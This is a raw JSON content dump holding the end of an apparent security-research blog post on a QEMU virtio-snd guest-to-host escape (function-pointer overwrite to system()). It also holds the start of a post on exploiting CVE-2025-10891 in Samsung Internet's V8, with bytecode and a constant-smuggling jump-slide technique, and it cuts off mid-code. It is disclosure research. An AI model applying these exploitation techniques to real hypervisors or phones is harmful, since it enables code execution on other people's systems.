",{"type":24,"tag":32,"props":133578,"children":133580},{"className":133579},[],[133581],{"type":29,"value":133582},"system",{"type":29,"value":226},{"type":24,"tag":1019,"props":133585,"children":133587},{"id":133586},"rip-control",[133588],{"type":29,"value":133589},"RIP Control",{"type":24,"tag":25,"props":133591,"children":133592},{},[133593,133595,133600,133602,133608],{"type":29,"value":133594},"At this point, we have everything we need: an arbitrary read/write primitive, a QEMU code leak, and the address of ",{"type":24,"tag":32,"props":133596,"children":133598},{"className":133597},[],[133599],{"type":29,"value":133582},{"type":29,"value":133601},". To hijack control flow, we do not need to look far - we just described a function pointer on the heap at a known address: ",{"type":24,"tag":32,"props":133603,"children":133605},{"className":133604},[],[133606],{"type":29,"value":133607},"VirtQueue.handle_output",{"type":29,"value":226},{"type":24,"tag":25,"props":133610,"children":133611},{},[133612,133614,133619,133621,133626,133628,133633],{"type":29,"value":133613},"We overwrite ",{"type":24,"tag":32,"props":133615,"children":133617},{"className":133616},[],[133618],{"type":29,"value":133305},{"type":29,"value":133620}," with the address of ",{"type":24,"tag":32,"props":133622,"children":133624},{"className":133623},[],[133625],{"type":29,"value":133582},{"type":29,"value":133627}," and write the command string we want to execute into memory using our arbitrary write. Then we overwrite ",{"type":24,"tag":32,"props":133629,"children":133631},{"className":133630},[],[133632],{"type":29,"value":133313},{"type":29,"value":133634}," with the address of that command string, so it is passed as the first argument.",{"type":24,"tag":25,"props":133636,"children":133637},{},[133638,133640,133646,133648,133654,133656,133662],{"type":29,"value":133639},"Then, we simply notify the virtqueue from the guest. QEMU enters ",{"type":24,"tag":32,"props":133641,"children":133643},{"className":133642},[],[133644],{"type":29,"value":133645},"virtio_queue_notify_vq",{"type":29,"value":133647},", which calls ",{"type":24,"tag":32,"props":133649,"children":133651},{"className":133650},[],[133652],{"type":29,"value":133653},"vq->handle_output(vq->vdev)",{"type":29,"value":133655}," - or, after our overwrites, ",{"type":24,"tag":32,"props":133657,"children":133659},{"className":133658},[],[133660],{"type":29,"value":133661},"system(command)",{"type":29,"value":226},{"type":24,"tag":25,"props":133664,"children":133665},{},[133666,133668,133674,133676],{"type":29,"value":133667},"Finally, with all of this, we achieve a reliable guest-to-host escape and execute ",{"type":24,"tag":32,"props":133669,"children":133671},{"className":133670},[],[133672],{"type":29,"value":133673},"gnome-calculator",{"type":29,"value":133675}," on the host system:\n",{"type":24,"tag":32781,"props":133677,"children":133678},{},[],{"type":24,"tag":133680,"props":133681,"children":133690},"tweet-card",{"author-name":133682,"date":133683,"duration":133684,"handle":133685,"media-mime-type":133686,"media-src":133687,"media-type":133688,"tweet-url":133689},"OtterSec","March 5, 2026","0:12","@osec_io","video/mp4","/posts/virtio-snd-qemu-0day/demo.mp4","video","https://x.com/osec_io/status/2029643325125390550",[133691,133696,133701],{"type":24,"tag":25,"props":133692,"children":133693},{},[133694],{"type":29,"value":133695},"We recently achieved guest-to-host escape by exploiting a QEMU 0day.",{"type":24,"tag":25,"props":133697,"children":133698},{},[133699],{"type":29,"value":133700},"We’ll share details on a new technique leveraging the latest glibc allocator behavior and what we believe is a novel QEMU-specific heap spray/RIP-control primitive.",{"type":24,"tag":25,"props":133702,"children":133703},{},[133704],{"type":29,"value":133705},"Writeup coming next week.",{"type":24,"tag":32781,"props":133707,"children":133708},{},[],{"type":24,"tag":25,"props":133710,"children":133711},{},[133712,133714,133720,133722,133728],{"type":29,"value":133713},"The final exploit, targeting QEMU commit ",{"type":24,"tag":32,"props":133715,"children":133717},{"className":133716},[],[133718],{"type":29,"value":133719},"ece408818d27f745ef1b05fb3cc99a1e7a5bf580",{"type":29,"value":133721}," (Feb 13, 2026) and the latest glibc 2.43, can be found ",{"type":24,"tag":69,"props":133723,"children":133726},{"href":133724,"rel":133725},"https://github.com/otter-sec/qemu-escape",[73],[133727],{"type":29,"value":49407},{"type":29,"value":226},{"type":24,"tag":25,"props":133730,"children":133731},{},[133732,133734,133741],{"type":29,"value":133733},"Special thanks to ",{"type":24,"tag":69,"props":133735,"children":133738},{"href":133736,"rel":133737},"https://www.willsroot.io/",[73],[133739],{"type":29,"value":133740},"William Liu",{"type":29,"value":133742}," for proofreading this post and helping us polish it before publication.",{"type":24,"tag":850,"props":133744,"children":133745},{"id":30743},[133746],{"type":29,"value":20741},{"type":24,"tag":25,"props":133748,"children":133749},{},[133750],{"type":29,"value":133751},"Starting from a heap overflow where the written bytes are effectively random, we showed how careful heap grooming and a favorable change in glibc 2.43's allocator can turn even a single byte of uncontrolled corruption into a reliable guest-to-host escape.",{"type":24,"tag":25,"props":133753,"children":133754},{},[133755],{"type":29,"value":133756},"More broadly, this exploit is a reminder that weak-looking primitives should not be dismissed too quickly - with the right heap layout and target, even highly constrained corruption can be enough.",{"type":24,"tag":5249,"props":133758,"children":133759},{},[133760],{"type":29,"value":5253},{"title":7,"searchDepth":200,"depth":200,"links":133762},[133763,133766,133769,133778],{"id":125491,"depth":200,"text":125504,"children":133764},[133765],{"id":125512,"depth":239,"text":125515},{"id":125536,"depth":200,"text":125539,"children":133767},[133768],{"id":125550,"depth":239,"text":125550},{"id":101938,"depth":200,"text":101941,"children":133770},[133771,133772,133773,133774,133775,133776,133777],{"id":128142,"depth":239,"text":128145},{"id":129669,"depth":239,"text":129672},{"id":130463,"depth":239,"text":130466},{"id":130868,"depth":239,"text":130871},{"id":131084,"depth":239,"text":131087},{"id":131290,"depth":239,"text":131293},{"id":133586,"depth":239,"text":133589},{"id":30743,"depth":200,"text":20741},"content:blog:2026-03-17-virtio-snd-qemu-hypervisor-escape.md","blog/2026-03-17-virtio-snd-qemu-hypervisor-escape.md","blog/2026-03-17-virtio-snd-qemu-hypervisor-escape",{"_path":133783,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":133784,"description":133785,"date":133786,"author":133787,"image":133790,"isFeatured":16,"onBlogPage":16,"tags":133792,"body":133795,"_type":5270,"_id":143703,"_source":5272,"_file":143704,"_stem":143705,"_extension":5275},"/blog/2026-04-01-patch-gap-to-mobile-renderer-rce","Patch Gap to Mobile Renderer RCE: Pwning Samsung Internet's V8 on the Galaxy S25","Samsung Internet on the Galaxy S25 shipped a six-month-old version of V8, exposing it to publicly known bugs. Learn how we exploited a bytecode interpreter vulnerability to achieve renderer RCE and universal XSS in the browser.","2026-04-01T12:00:00.000Z",[125487,133788,133789],"jamie","william",{"src":133791,"width":99098,"height":14},"/posts/mobile-renderer-rce/title.png",[133793,133794],"RCE","mobile",{"type":21,"children":133796,"toc":143683},[133797,133801,133806,133820,133826,133840,133861,133869,133882,133890,133903,133909,133922,133936,133942,133956,134059,134064,134072,134077,134082,134103,134181,134189,134208,134221,134227,134233,134247,134363,134368,134373,134381,134386,134394,134422,134451,134463,134639,134644,134652,134671,134684,134690,134710,134724,134729,134734,134762,134798,134867,134873,134895,134900,134908,134921,134926,134934,134939,134978,134984,134997,135002,135180,135190,135198,135218,135242,135255,135261,135266,135908,135913,135921,135963,137952,137957,137965,137971,138004,138022,138192,138250,138275,138369,138374,139165,139170,139178,139189,141233,141238,141246,141252,141274,141288,141301,141313,141343,141348,141789,141817,141924,141941,142098,142103,142115,142411,142437,142460,142592,142604,142609,142761,142797,142810,142815,142937,142978,143055,143060,143634,143640,143652,143665,143669,143674,143679],{"type":24,"tag":850,"props":133798,"children":133799},{"id":30826},[133800],{"type":29,"value":30829},{"type":24,"tag":25,"props":133802,"children":133803},{},[133804],{"type":29,"value":133805},"The supply chain dependency in today's software landscape is extremely complex. Any vulnerability in a core library creates an exploitable window for its dependents - maintainers either fall behind on the exhausting update schedule, backport incorrectly, or even forget about it entirely.",{"type":24,"tag":25,"props":133807,"children":133808},{},[133809,133811,133818],{"type":29,"value":133810},"One such example is V8, a JavaScript engine used ubiquitously in Chromium and Node.js-based software. In collaboration with the ",{"type":24,"tag":69,"props":133812,"children":133815},{"href":133813,"rel":133814},"https://cor.team",[73],[133816],{"type":29,"value":133817},"Crusaders of Rust",{"type":29,"value":133819}," Security Research Group, we decided to analyze the version of V8 in Samsung Internet (the default browser on Samsung phones) on a Samsung Galaxy S25 in hopes of an n-day exploitation opportunity.",{"type":24,"tag":1019,"props":133821,"children":133823},{"id":133822},"finding-the-v8-version",[133824],{"type":29,"value":133825},"Finding the V8 Version",{"type":24,"tag":25,"props":133827,"children":133828},{},[133829,133831,133838],{"type":29,"value":133830},"We started by pulling Samsung Internet's APK from the device over ",{"type":24,"tag":69,"props":133832,"children":133835},{"href":133833,"rel":133834},"https://developer.android.com/tools/adb",[73],[133836],{"type":29,"value":133837},"adb",{"type":29,"value":133839}," and inspecting the libraries it shipped with.",{"type":24,"tag":25,"props":133841,"children":133842},{},[133843,133845,133851,133853,133859],{"type":29,"value":133844},"After extracting the APK, we searched the ",{"type":24,"tag":32,"props":133846,"children":133848},{"className":133847},[],[133849],{"type":29,"value":133850},"lib/",{"type":29,"value":133852}," directory for ",{"type":24,"tag":32,"props":133854,"children":133856},{"className":133855},[],[133857],{"type":29,"value":133858},"v8::*",{"type":29,"value":133860}," symbols:",{"type":24,"tag":80,"props":133862,"children":133864},{"code":133863},"$ grep -r 'v8::' lib/\ngrep: lib/arm64-v8a/libterrace.so: binary file matches\n",[133865],{"type":24,"tag":32,"props":133866,"children":133867},{"__ignoreMap":7},[133868],{"type":29,"value":133863},{"type":24,"tag":25,"props":133870,"children":133871},{},[133872,133874,133880],{"type":29,"value":133873},"Only one file matched our search: ",{"type":24,"tag":32,"props":133875,"children":133877},{"className":133876},[],[133878],{"type":29,"value":133879},"libterrace.so",{"type":29,"value":133881},". We then loaded it into a decompiler to inspect it more closely, which is where we found the bundled V8 version:",{"type":24,"tag":25,"props":133883,"children":133884},{},[133885],{"type":24,"tag":6301,"props":133886,"children":133889},{"alt":133887,"src":133888},"image1","/posts/mobile-renderer-rce/image1.png",[],{"type":24,"tag":25,"props":133891,"children":133892},{},[133893,133895,133901],{"type":29,"value":133894},"Surprisingly, this ",{"type":24,"tag":32,"props":133896,"children":133898},{"className":133897},[],[133899],{"type":29,"value":133900},"13.6.233.10",{"type":29,"value":133902}," version was already six months old at the time, with multiple publicly known bugs affecting it.",{"type":24,"tag":1019,"props":133904,"children":133906},{"id":133905},"choosing-the-bug",[133907],{"type":29,"value":133908},"Choosing the Bug",{"type":24,"tag":25,"props":133910,"children":133911},{},[133912,133914,133920],{"type":29,"value":133913},"We were able to trigger a couple of bugs on our locally compiled ",{"type":24,"tag":32,"props":133915,"children":133917},{"className":133916},[],[133918],{"type":29,"value":133919},"d8",{"type":29,"value":133921}," matching the target version. One of them was CVE-2025-5419 - a store-store elimination bug that we managed to get working on the device. However, exploitation required heap spraying, which would present significant stability issues when porting to the phone.",{"type":24,"tag":25,"props":133923,"children":133924},{},[133925,133927,133934],{"type":29,"value":133926},"Another one was ",{"type":24,"tag":69,"props":133928,"children":133931},{"href":133929,"rel":133930},"https://issuetracker.google.com/issues/443875388",[73],[133932],{"type":29,"value":133933},"CVE-2025-10891",{"type":29,"value":133935}," - a bug in the Ignition bytecode interpreter. This one was attractive as bytecode is treated as trusted under the V8 sandbox model, meaning that a separate Übercage bypass would not be required. Given this, we decided to explore this bug further.",{"type":24,"tag":850,"props":133937,"children":133939},{"id":133938},"ignition-bytecode-introduction",[133940],{"type":29,"value":133941},"Ignition Bytecode Introduction",{"type":24,"tag":25,"props":133943,"children":133944},{},[133945,133947,133954],{"type":29,"value":133946},"V8 initially compiles all JS code to a bytecode format with the ",{"type":24,"tag":69,"props":133948,"children":133951},{"href":133949,"rel":133950},"https://v8.dev/blog/ignition-interpreter",[73],[133952],{"type":29,"value":133953},"Ignition",{"type":29,"value":133955}," interpreter.\nThis is a simple register-based VM with fixed size opcodes (and prefix bytes to increase operand width). For instance:",{"type":24,"tag":80,"props":133957,"children":133959},{"code":133958,"language":33178,"meta":7,"className":33176,"style":7},"let a = 1;\nlet b = 0x0fff;\nlet c = 0x0fffffff;\nlet d = 0xffffffff;\n",[133960],{"type":24,"tag":32,"props":133961,"children":133962},{"__ignoreMap":7},[133963,133986,134010,134034],{"type":24,"tag":90,"props":133964,"children":133965},{"class":92,"line":93},[133966,133970,133974,133978,133982],{"type":24,"tag":90,"props":133967,"children":133968},{"style":97},[133969],{"type":29,"value":895},{"type":24,"tag":90,"props":133971,"children":133972},{"style":136},[133973],{"type":29,"value":91666},{"type":24,"tag":90,"props":133975,"children":133976},{"style":120},[133977],{"type":29,"value":216},{"type":24,"tag":90,"props":133979,"children":133980},{"style":349},[133981],{"type":29,"value":6909},{"type":24,"tag":90,"props":133983,"children":133984},{"style":114},[133985],{"type":29,"value":381},{"type":24,"tag":90,"props":133987,"children":133988},{"class":92,"line":200},[133989,133993,133997,134001,134006],{"type":24,"tag":90,"props":133990,"children":133991},{"style":97},[133992],{"type":29,"value":895},{"type":24,"tag":90,"props":133994,"children":133995},{"style":136},[133996],{"type":29,"value":92540},{"type":24,"tag":90,"props":133998,"children":133999},{"style":120},[134000],{"type":29,"value":216},{"type":24,"tag":90,"props":134002,"children":134003},{"style":349},[134004],{"type":29,"value":134005}," 0x0fff",{"type":24,"tag":90,"props":134007,"children":134008},{"style":114},[134009],{"type":29,"value":381},{"type":24,"tag":90,"props":134011,"children":134012},{"class":92,"line":239},[134013,134017,134021,134025,134030],{"type":24,"tag":90,"props":134014,"children":134015},{"style":97},[134016],{"type":29,"value":895},{"type":24,"tag":90,"props":134018,"children":134019},{"style":136},[134020],{"type":29,"value":39261},{"type":24,"tag":90,"props":134022,"children":134023},{"style":120},[134024],{"type":29,"value":216},{"type":24,"tag":90,"props":134026,"children":134027},{"style":349},[134028],{"type":29,"value":134029}," 0x0fffffff",{"type":24,"tag":90,"props":134031,"children":134032},{"style":114},[134033],{"type":29,"value":381},{"type":24,"tag":90,"props":134035,"children":134036},{"class":92,"line":248},[134037,134041,134046,134050,134055],{"type":24,"tag":90,"props":134038,"children":134039},{"style":97},[134040],{"type":29,"value":895},{"type":24,"tag":90,"props":134042,"children":134043},{"style":136},[134044],{"type":29,"value":134045}," d",{"type":24,"tag":90,"props":134047,"children":134048},{"style":120},[134049],{"type":29,"value":216},{"type":24,"tag":90,"props":134051,"children":134052},{"style":349},[134053],{"type":29,"value":134054}," 0xffffffff",{"type":24,"tag":90,"props":134056,"children":134057},{"style":114},[134058],{"type":29,"value":381},{"type":24,"tag":25,"props":134060,"children":134061},{},[134062],{"type":29,"value":134063},"compiles to",{"type":24,"tag":80,"props":134065,"children":134067},{"code":134066}," # Load the Smi `1` into the accumulator\n 0 : 0d 01 LdaSmi [1]\n # Store it to register 0\n 2 : ce Star0\n # Load the 2-byte Smi `0xfff` into acc\n 3 : 00 0d ff 0f LdaSmi.Wide [4095]\n # Store it to register 1\n 7 : cd Star1\n # Load the 4-byte Smi `0xfffffff` into acc\n 8 : 01 0d ff ff ff 0f LdaSmi.ExtraWide [268435455]\n # Store it to register 2\n14 : cc Star2\n# `0xffffffff` doesn't fit into an Smi, so a `HeapNumber` is allocated in the function's constant pool and loaded\n15 : 13 00 LdaConstant [0]\n# Store it to register 3\n17 : cb Star3\n18 : 0e LdaUndefined\n19 : b3 Return\n",[134068],{"type":24,"tag":32,"props":134069,"children":134070},{"__ignoreMap":7},[134071],{"type":29,"value":134066},{"type":24,"tag":25,"props":134073,"children":134074},{},[134075],{"type":29,"value":134076},"Ignition bytecode is then passed through the Sparkplug, Maglev, and Turbofan JIT compilers depending on the required amount of optimization. Yes, V8 has FOUR compilers, all so that slop devs can continue \"engineering\" their RAM-hungry, CPU-draining web apps that have plagued the modern internet.",{"type":24,"tag":1019,"props":134078,"children":134080},{"id":134079},"cve-2025-10891",[134081],{"type":29,"value":133933},{"type":24,"tag":25,"props":134083,"children":134084},{},[134085,134087,134093,134095,134101],{"type":29,"value":134086},"The bug is in the handling of try/catch blocks. These are encoded in a function as a list of ",{"type":24,"tag":32,"props":134088,"children":134090},{"className":134089},[],[134091],{"type":29,"value":134092},"[start, end) => handler",{"type":29,"value":134094}," offsets - if an exception is thrown in the given bytecode address range, ",{"type":24,"tag":32,"props":134096,"children":134098},{"className":134097},[],[134099],{"type":29,"value":134100},"handler",{"type":29,"value":134102}," is jumped to.",{"type":24,"tag":80,"props":134104,"children":134106},{"code":134105,"language":33178,"meta":7,"className":33176,"style":7},"try {\n throw 1;\n} catch {\n let b = 2;\n}\n",[134107],{"type":24,"tag":32,"props":134108,"children":134109},{"__ignoreMap":7},[134110,134121,134136,134151,134174],{"type":24,"tag":90,"props":134111,"children":134112},{"class":92,"line":93},[134113,134117],{"type":24,"tag":90,"props":134114,"children":134115},{"style":636},[134116],{"type":29,"value":50154},{"type":24,"tag":90,"props":134118,"children":134119},{"style":114},[134120],{"type":29,"value":269},{"type":24,"tag":90,"props":134122,"children":134123},{"class":92,"line":200},[134124,134128,134132],{"type":24,"tag":90,"props":134125,"children":134126},{"style":636},[134127],{"type":29,"value":37017},{"type":24,"tag":90,"props":134129,"children":134130},{"style":349},[134131],{"type":29,"value":6909},{"type":24,"tag":90,"props":134133,"children":134134},{"style":114},[134135],{"type":29,"value":381},{"type":24,"tag":90,"props":134137,"children":134138},{"class":92,"line":239},[134139,134143,134147],{"type":24,"tag":90,"props":134140,"children":134141},{"style":114},[134142],{"type":29,"value":48696},{"type":24,"tag":90,"props":134144,"children":134145},{"style":636},[134146],{"type":29,"value":50234},{"type":24,"tag":90,"props":134148,"children":134149},{"style":114},[134150],{"type":29,"value":269},{"type":24,"tag":90,"props":134152,"children":134153},{"class":92,"line":248},[134154,134158,134162,134166,134170],{"type":24,"tag":90,"props":134155,"children":134156},{"style":97},[134157],{"type":29,"value":10233},{"type":24,"tag":90,"props":134159,"children":134160},{"style":136},[134161],{"type":29,"value":92540},{"type":24,"tag":90,"props":134163,"children":134164},{"style":120},[134165],{"type":29,"value":216},{"type":24,"tag":90,"props":134167,"children":134168},{"style":349},[134169],{"type":29,"value":10312},{"type":24,"tag":90,"props":134171,"children":134172},{"style":114},[134173],{"type":29,"value":381},{"type":24,"tag":90,"props":134175,"children":134176},{"class":92,"line":258},[134177],{"type":24,"tag":90,"props":134178,"children":134179},{"style":114},[134180],{"type":29,"value":827},{"type":24,"tag":80,"props":134182,"children":134184},{"code":134183}," 0 : 1b ff f8 Mov \u003Ccontext>, r1\n # Start of try block\n # ---------------------------------\n 3 : 0d 01 LdaSmi [1]\n 5 : b1 Throw\n # ---------------------------------\n 6 : 10 LdaTheHole\n 7 : b0 SetPendingMessage\n # Start of catch handler\n 8 : 0d 02 LdaSmi [2]\n10 : ce Star0\n11 : 0e LdaUndefined\n12 : b3 Return\nHandler Table (size = 16)\n from to hdlr (prediction, data)\n ( 3, 6) -> 6 (prediction=1, data=1)\n",[134185],{"type":24,"tag":32,"props":134186,"children":134187},{"__ignoreMap":7},[134188],{"type":29,"value":134183},{"type":24,"tag":25,"props":134190,"children":134191},{},[134192,134194,134199,134201,134206],{"type":29,"value":134193},"However, the ",{"type":24,"tag":32,"props":134195,"children":134197},{"className":134196},[],[134198],{"type":29,"value":134100},{"type":29,"value":134200}," offset is stored in a 28-bit bitfield. If the address of the ",{"type":24,"tag":32,"props":134202,"children":134204},{"className":134203},[],[134205],{"type":29,"value":50234},{"type":29,"value":134207}," block does not fit within 28 bits, it will be silently truncated. This will lead to a jump into a completely different part of the code - even in the middle of an instruction.",{"type":24,"tag":25,"props":134209,"children":134210},{},[134211,134213,134219],{"type":29,"value":134212},"One easy way to generate a large enough function, as suggested in the initial report, is to emit many ",{"type":24,"tag":32,"props":134214,"children":134216},{"className":134215},[],[134217],{"type":29,"value":134218},"yield*",{"type":29,"value":134220}," statements, as that drastically increases the size of the Ignition bytecode.",{"type":24,"tag":850,"props":134222,"children":134224},{"id":134223},"exploitation",[134225],{"type":29,"value":134226},"Exploitation",{"type":24,"tag":1019,"props":134228,"children":134230},{"id":134229},"constant-smuggling",[134231],{"type":29,"value":134232},"Constant Smuggling",{"type":24,"tag":25,"props":134234,"children":134235},{},[134236,134238,134245],{"type":29,"value":134237},"Our initial approach to exploitation was inspired by the 'shellcode smuggling' ",{"type":24,"tag":69,"props":134239,"children":134242},{"href":134240,"rel":134241},"https://blog.exodusintel.com/2024/01/19/google-chrome-v8-cve-2024-0517-out-of-bounds-write-code-execution/",[73],[134243],{"type":29,"value":134244},"technique",{"type":29,"value":134246}," - when arbitrary read-write is achieved in browser exploits, we can often JIT compile a function like this:",{"type":24,"tag":80,"props":134248,"children":134250},{"code":134249,"language":33178,"meta":7,"className":33176,"style":7},"let a = -9.255963134931783e61;\nlet b = -9.255963134931783e61;\nlet c = -9.255963134931783e61;\nlet d = -9.255963134931783e61;\n",[134251],{"type":24,"tag":32,"props":134252,"children":134253},{"__ignoreMap":7},[134254,134282,134309,134336],{"type":24,"tag":90,"props":134255,"children":134256},{"class":92,"line":93},[134257,134261,134265,134269,134273,134278],{"type":24,"tag":90,"props":134258,"children":134259},{"style":97},[134260],{"type":29,"value":895},{"type":24,"tag":90,"props":134262,"children":134263},{"style":136},[134264],{"type":29,"value":91666},{"type":24,"tag":90,"props":134266,"children":134267},{"style":120},[134268],{"type":29,"value":216},{"type":24,"tag":90,"props":134270,"children":134271},{"style":120},[134272],{"type":29,"value":53079},{"type":24,"tag":90,"props":134274,"children":134275},{"style":349},[134276],{"type":29,"value":134277},"9.255963134931783e61",{"type":24,"tag":90,"props":134279,"children":134280},{"style":114},[134281],{"type":29,"value":381},{"type":24,"tag":90,"props":134283,"children":134284},{"class":92,"line":200},[134285,134289,134293,134297,134301,134305],{"type":24,"tag":90,"props":134286,"children":134287},{"style":97},[134288],{"type":29,"value":895},{"type":24,"tag":90,"props":134290,"children":134291},{"style":136},[134292],{"type":29,"value":92540},{"type":24,"tag":90,"props":134294,"children":134295},{"style":120},[134296],{"type":29,"value":216},{"type":24,"tag":90,"props":134298,"children":134299},{"style":120},[134300],{"type":29,"value":53079},{"type":24,"tag":90,"props":134302,"children":134303},{"style":349},[134304],{"type":29,"value":134277},{"type":24,"tag":90,"props":134306,"children":134307},{"style":114},[134308],{"type":29,"value":381},{"type":24,"tag":90,"props":134310,"children":134311},{"class":92,"line":239},[134312,134316,134320,134324,134328,134332],{"type":24,"tag":90,"props":134313,"children":134314},{"style":97},[134315],{"type":29,"value":895},{"type":24,"tag":90,"props":134317,"children":134318},{"style":136},[134319],{"type":29,"value":39261},{"type":24,"tag":90,"props":134321,"children":134322},{"style":120},[134323],{"type":29,"value":216},{"type":24,"tag":90,"props":134325,"children":134326},{"style":120},[134327],{"type":29,"value":53079},{"type":24,"tag":90,"props":134329,"children":134330},{"style":349},[134331],{"type":29,"value":134277},{"type":24,"tag":90,"props":134333,"children":134334},{"style":114},[134335],{"type":29,"value":381},{"type":24,"tag":90,"props":134337,"children":134338},{"class":92,"line":248},[134339,134343,134347,134351,134355,134359],{"type":24,"tag":90,"props":134340,"children":134341},{"style":97},[134342],{"type":29,"value":895},{"type":24,"tag":90,"props":134344,"children":134345},{"style":136},[134346],{"type":29,"value":134045},{"type":24,"tag":90,"props":134348,"children":134349},{"style":120},[134350],{"type":29,"value":216},{"type":24,"tag":90,"props":134352,"children":134353},{"style":120},[134354],{"type":29,"value":53079},{"type":24,"tag":90,"props":134356,"children":134357},{"style":349},[134358],{"type":29,"value":134277},{"type":24,"tag":90,"props":134360,"children":134361},{"style":114},[134362],{"type":29,"value":381},{"type":24,"tag":25,"props":134364,"children":134365},{},[134366],{"type":29,"value":134367},"These floating-point constants will compile to 8-byte constants inside the machine code (the last 2 of which are used to jump into the next constant).",{"type":24,"tag":25,"props":134369,"children":134370},{},[134371],{"type":29,"value":134372},"We'll use a similar principle here, although much more limited. With",{"type":24,"tag":80,"props":134374,"children":134376},{"code":134375},"let a = 0x0693bebe;\n",[134377],{"type":24,"tag":32,"props":134378,"children":134379},{"__ignoreMap":7},[134380],{"type":29,"value":134375},{"type":24,"tag":25,"props":134382,"children":134383},{},[134384],{"type":29,"value":134385},"We will compile the bytecode:",{"type":24,"tag":80,"props":134387,"children":134389},{"code":134388},"01 0d be be 93 06 LdaSmi.ExtraWide\n",[134390],{"type":24,"tag":32,"props":134391,"children":134392},{"__ignoreMap":7},[134393],{"type":29,"value":134388},{"type":24,"tag":25,"props":134395,"children":134396},{},[134397,134399,134405,134407,134413,134414,134420],{"type":29,"value":134398},"We can then jump to the 3rd byte (",{"type":24,"tag":32,"props":134400,"children":134402},{"className":134401},[],[134403],{"type":29,"value":134404},"0xbe",{"type":29,"value":134406},"), and gain 2 controlled bytes of execution, followed by ",{"type":24,"tag":32,"props":134408,"children":134410},{"className":134409},[],[134411],{"type":29,"value":134412},"0x93 0x02 - 0xf",{"type":29,"value":1151},{"type":24,"tag":32,"props":134415,"children":134417},{"className":134416},[],[134418],{"type":29,"value":134419},"Jump +[2-15]",{"type":29,"value":134421},") to jump into the next constant.",{"type":24,"tag":25,"props":134423,"children":134424},{},[134425,134427,134433,134435,134441,134443,134449],{"type":29,"value":134426},"Note that the jump constant will change as the subsequent store instruction becomes longer due to storing to deeper registers. Storing to registers 1-15 resulted in simple one byte ",{"type":24,"tag":32,"props":134428,"children":134430},{"className":134429},[],[134431],{"type":29,"value":134432},"StarX",{"type":29,"value":134434}," instructions, registers 16-121 resulted in two bytes ",{"type":24,"tag":32,"props":134436,"children":134438},{"className":134437},[],[134439],{"type":29,"value":134440},"Star rX",{"type":29,"value":134442}," instructions, and the next batch resulted in 4 byte ",{"type":24,"tag":32,"props":134444,"children":134446},{"className":134445},[],[134447],{"type":29,"value":134448},"Star.ExtraWide rX",{"type":29,"value":134450}," instructions.",{"type":24,"tag":25,"props":134452,"children":134453},{},[134454,134456,134462],{"type":29,"value":134455},"With these short jumps, we can actually construct a massive jump slide of constants like ",{"type":24,"tag":32,"props":134457,"children":134459},{"className":134458},[],[134460],{"type":29,"value":134461},"0x8931111",{"type":29,"value":78},{"type":24,"tag":80,"props":134464,"children":134466},{"code":134465,"language":33178,"meta":7,"className":33176,"style":7},"let a206 = 0x8931111;\nlet a207 = 0x8931111;\nlet a208 = 0x8931111;\nlet a209 = 0x8931111;\nlet a210 = 0x8931111;\nlet a211 = 0x8931111;\nlet a212 = 0x8931111;\n",[134467],{"type":24,"tag":32,"props":134468,"children":134469},{"__ignoreMap":7},[134470,134495,134519,134543,134567,134591,134615],{"type":24,"tag":90,"props":134471,"children":134472},{"class":92,"line":93},[134473,134477,134482,134486,134491],{"type":24,"tag":90,"props":134474,"children":134475},{"style":97},[134476],{"type":29,"value":895},{"type":24,"tag":90,"props":134478,"children":134479},{"style":136},[134480],{"type":29,"value":134481}," a206",{"type":24,"tag":90,"props":134483,"children":134484},{"style":120},[134485],{"type":29,"value":216},{"type":24,"tag":90,"props":134487,"children":134488},{"style":349},[134489],{"type":29,"value":134490}," 0x8931111",{"type":24,"tag":90,"props":134492,"children":134493},{"style":114},[134494],{"type":29,"value":381},{"type":24,"tag":90,"props":134496,"children":134497},{"class":92,"line":200},[134498,134502,134507,134511,134515],{"type":24,"tag":90,"props":134499,"children":134500},{"style":97},[134501],{"type":29,"value":895},{"type":24,"tag":90,"props":134503,"children":134504},{"style":136},[134505],{"type":29,"value":134506}," a207",{"type":24,"tag":90,"props":134508,"children":134509},{"style":120},[134510],{"type":29,"value":216},{"type":24,"tag":90,"props":134512,"children":134513},{"style":349},[134514],{"type":29,"value":134490},{"type":24,"tag":90,"props":134516,"children":134517},{"style":114},[134518],{"type":29,"value":381},{"type":24,"tag":90,"props":134520,"children":134521},{"class":92,"line":239},[134522,134526,134531,134535,134539],{"type":24,"tag":90,"props":134523,"children":134524},{"style":97},[134525],{"type":29,"value":895},{"type":24,"tag":90,"props":134527,"children":134528},{"style":136},[134529],{"type":29,"value":134530}," a208",{"type":24,"tag":90,"props":134532,"children":134533},{"style":120},[134534],{"type":29,"value":216},{"type":24,"tag":90,"props":134536,"children":134537},{"style":349},[134538],{"type":29,"value":134490},{"type":24,"tag":90,"props":134540,"children":134541},{"style":114},[134542],{"type":29,"value":381},{"type":24,"tag":90,"props":134544,"children":134545},{"class":92,"line":248},[134546,134550,134555,134559,134563],{"type":24,"tag":90,"props":134547,"children":134548},{"style":97},[134549],{"type":29,"value":895},{"type":24,"tag":90,"props":134551,"children":134552},{"style":136},[134553],{"type":29,"value":134554}," a209",{"type":24,"tag":90,"props":134556,"children":134557},{"style":120},[134558],{"type":29,"value":216},{"type":24,"tag":90,"props":134560,"children":134561},{"style":349},[134562],{"type":29,"value":134490},{"type":24,"tag":90,"props":134564,"children":134565},{"style":114},[134566],{"type":29,"value":381},{"type":24,"tag":90,"props":134568,"children":134569},{"class":92,"line":258},[134570,134574,134579,134583,134587],{"type":24,"tag":90,"props":134571,"children":134572},{"style":97},[134573],{"type":29,"value":895},{"type":24,"tag":90,"props":134575,"children":134576},{"style":136},[134577],{"type":29,"value":134578}," a210",{"type":24,"tag":90,"props":134580,"children":134581},{"style":120},[134582],{"type":29,"value":216},{"type":24,"tag":90,"props":134584,"children":134585},{"style":349},[134586],{"type":29,"value":134490},{"type":24,"tag":90,"props":134588,"children":134589},{"style":114},[134590],{"type":29,"value":381},{"type":24,"tag":90,"props":134592,"children":134593},{"class":92,"line":272},[134594,134598,134603,134607,134611],{"type":24,"tag":90,"props":134595,"children":134596},{"style":97},[134597],{"type":29,"value":895},{"type":24,"tag":90,"props":134599,"children":134600},{"style":136},[134601],{"type":29,"value":134602}," 